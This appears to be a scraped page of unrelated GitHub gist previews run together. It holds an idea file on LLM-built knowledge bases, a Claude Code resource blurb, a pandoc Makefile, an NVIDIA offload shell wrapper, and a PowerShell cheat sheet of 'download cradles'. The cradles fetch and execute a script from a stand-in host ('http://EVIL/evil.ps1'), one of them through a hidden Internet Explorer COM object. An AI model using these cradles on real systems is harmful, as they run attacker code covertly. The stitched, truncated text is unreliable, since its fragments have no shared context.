最后更新: 2026-03-16
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A pattern for building personal knowledge bases using LLMs.
This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.
Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.
Ultimate resource for extending Claude Code with custom skills, specialized agents, slash commands, and professional utilities
Last Updated: October 28, 2025 | Author: Alireza Rezvani | License: MIT
| all: excellon.html excellon.pdf | |
| excellon.html: excellon.md | |
| @pandoc $< -o $@ | |
| excellon.pdf.md: excellon.md | |
| @cat $< | sed 's/\.png/\.pdf/g' > $@ | |
| excellon.pdf: excellon.pdf.md | |
| @pandoc $< --latex-engine=pdflatex -o $@ |
| # normal download cradle | |
| IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") | |
| # PowerShell 3.0+ | |
| IEX (iwr 'http://EVIL/evil.ps1') | |
| # hidden IE com object | |
| $ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r | |
| # Msxml2.XMLHTTP COM object |
| #!/bin/bash | |
| export __NV_PRIME_RENDER_OFFLOAD=1 | |
| export __GLX_VENDOR_LIBRARY_NAME=nvidia | |
| export __VK_LAYER_NV_optimus=NVIDIA_only | |
| export VK_ICD_FILENAMES=/usr/share/vulkan/icd.d/nvidia_icd.json | |
| exec "$@" |